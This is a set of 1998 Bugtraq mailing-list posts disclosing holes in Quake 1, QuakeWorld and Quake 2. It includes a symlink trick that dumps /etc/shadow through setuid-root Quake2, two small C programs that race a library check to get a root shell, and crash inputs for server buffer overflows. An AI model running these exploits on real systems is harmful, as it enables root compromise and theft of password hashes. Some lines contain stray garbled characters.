Date: Wed, 25 Feb 1998 05:49:58 -0500
From: kevingeo@CRUZIO.COM
To: BUGTRAQ@NETSPACE.ORG
Subject: Quake 2 Linux 3.13 (and lower) allow users to read arbitrary files

Vulnerable:
Everyone who followed the installation instructions and made Quake2 setuid
root.

Exploit:
Quake2 reads its conf files (and .pak files) before giving up root,
and it doesn't check the permissions before hand.

nop@chrome:~> id
uid=501(nop) gid=100(users) groups=100(users)
nop@chrome:~> mkdir baseq2
nop@chrome:~> ln -s /etc/shadow baseq2/config.cfg
nop@chrome:~> ls -l /usr/games/quake/quake2
-rws--x--x   1 root     root       303444 Feb 24 19:07
/usr/games/quake/quake2
nop@chrome:~> /usr/games/quake/quake2
couldn't exec default.cfg
execing config.cfg
Unknown command "root:[snip]:10137:0:99999:7:::"
Unknown command "bin:*:9977:0:99999:7:::"
Unknown command "daemon:*:9977:0:99999:7:::"
Unknown command "adm:*:9977:0:99999:7:::"
Unknown command "lp:*:9977:0:99999:7:::"
[etc]
Date: Wed, 25 Feb 1998 08:49:10 -0500
From: kevingeo@CRUZIO.COM
To: BUGTRAQ@NETSPACE.ORG
Subject: Quake 2 Linux 3.13 - ref_root.so still works

Vulnerable:
Everyone who followed the installation instructions and made Quake2 setuid
root.

Solution:
chmod u-s quake2.

Exploit:
I
ffb
n version 3.13, Quake2 trys to protect itself by checking the permissions
of a library before loading it.  This just introduces a race condition.

Simply find a file that is owned by root and has 0700
permissions, call ref_root.so ref_root.real.so, run e.c (./e
/usr/games/quake2/ref_soft.so &, for example)
in background, and then run f.c.  You'll have a root shell after a few
minutes.

e.c:
#include <unistd.h>

void main(int argc, char **argv) {
while(1) {
        unlink("ref_root.so");
        symlink(argv[1],"ref_root.so");
        unlink("ref_root.so");
        symlink("ref_root.real.so","ref_root.so");
}
}

f.c:
#include <stdlib.h>

void main() {
while (1) {
system("/usr/games/quake/quake2 +set vid_ref root");
}
}
Date: Wed, 25 Feb 1998 14:52:15 -0500
From: William T Wilson <fluffy@DUNADAN.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Quake 2 Linux 3.13 (and lower) allow users to read arbitrary              files

On Wed, 25 Feb 1998 kevingeo@CRUZIO.COM wrote:

> Vulnerable:
> Everyone who followed the installation instructions and made Quake2 setuid
> root.

To the best of my knowledge, Quake2 suffers from the same bug that squake
suffers from.  You can use the -gamedir option (or its quake 2 equivalent)
to make squake cough up a root shell using a standard buffer overflow
exploit.  I don't believe Zoid altered this for quake 2.  I don't think he
cares about security at all.

I wouldn't install anything of Zoid's setuid root without making it
group-owned by a trusted group and mode 4750.

This new exploit of yours even allows you to do evil things with Zoidware
even if it is installed with a wrapper.  :\  (Unless you want to make your
wrapper check all the file permissions too)
Date: Mon, 6 Apr 1998 23:38:42 +0100
From: Chris Evans <chris@ferret.lmh.ox.ac.uk>
To: BUGTRAQ@NETSPACE.ORG
Subject: QuakeI server serious hole (yawn)

Hi,

Lastest in the series of "Quake security holes". I hope this is (publicly)
new info at least.

First let me note ID appear to be aware of the hole, as it appears to be
fixed in server 1.07+. 1.06 appears vulnerable.

You can do better than DoS with this one; you can compromise the account
the server is running under. In the case of NT servers, this probably
means complete compromise.

Basically, it appears that the message string given in a "tell" command is
stuffed into a buffer on the stack with no bounds checking. Tests seem to
show this buffer at 64 bytes (to the nearest power of two).

ie, log onto your favourite quake server, at the console type

tell noone sdfhkajsdhfkjasdhfkjsahdfkjfkjasdhf <- fill up the line with
                                                  some crap

*CRASH*. Better upgrade... if I'm bored one day I'll write an exploit.
NOTE. The average NT server appears to be running vulnerable versions. On
Linux v1.07 is _much_ more common.

I've got some more quakeI holes coming up soon...

Chris
Date: Wed, 8 Apr 1998 07:18:09 +0100
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
To: BUGTRAQ@NETSPACE.ORG
Subject: QuakeI client: serious holes.

Hi,

As promised, more QuakeI holes. And I'd put no small number of pints on
the fact there are parallels in QW client and maybe Q2 client.

Basically, the client is careless at parsing certain server messages. This
includes but is by no means limited to:

1) List of precache paths. Each arbitrary length precache string the
server gives the client, is stuffed into a 64 byte buffer ON THE STACK.
Ouch. This conversation of precaching is part of connection.

2) Careless parsing of server name/address etc. when querying status.
Again strings are stuffed into fixed length buffers..

3) Server can as part of protocol give client arbitrary console command.
Of these, at least "map blahblah_bigger_than_64_chars" will cause a
buffer/stack overrun.

Scarily, at least 1) and 3) are still present in _latest_ quakeI client,
1.09, and will be cross-platform execute-arbitrary-code problems.

When will people learn to take especial care in parsing responses from
potentially malicious remote servers. (ly
8ec
nx, ncftp.. etc.)

Cheers
Chris
Date: Tue, 7 Apr 1998 19:42:09 -0400
From: "Glenn F. Maynard" <glennm@MEDIAONE.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: QW vulnerability

On the same note, QuakeWorld v2.10 (latest) is overflowable in the
initial "connect" sequence.

The first client->server packet gives the user name, colors, etc:

0xFF,0xFF,0xFF,0xFF followed by (plaintext) ->
connect "\name\Glenn\key\data"

There is no bounds checking on this connect; netcatting the following
will crash the server (although segfault appears trapped; no message is
displayed, and no core is left): '    connect "\x\xxxxxxxxxxxxxxxxxx'
(repeat "x" as needed; replace the first 4 spaces with 0xFF).

I've done no actual testing on the buffer length, and my assembler skills
are not enough to give an example exploit.

FTR, I've mailed Zoid (current maintainer of QW) multiple times about this
(and told him once on IRC); not once have I received a reply.

 - Glenn F. Maynard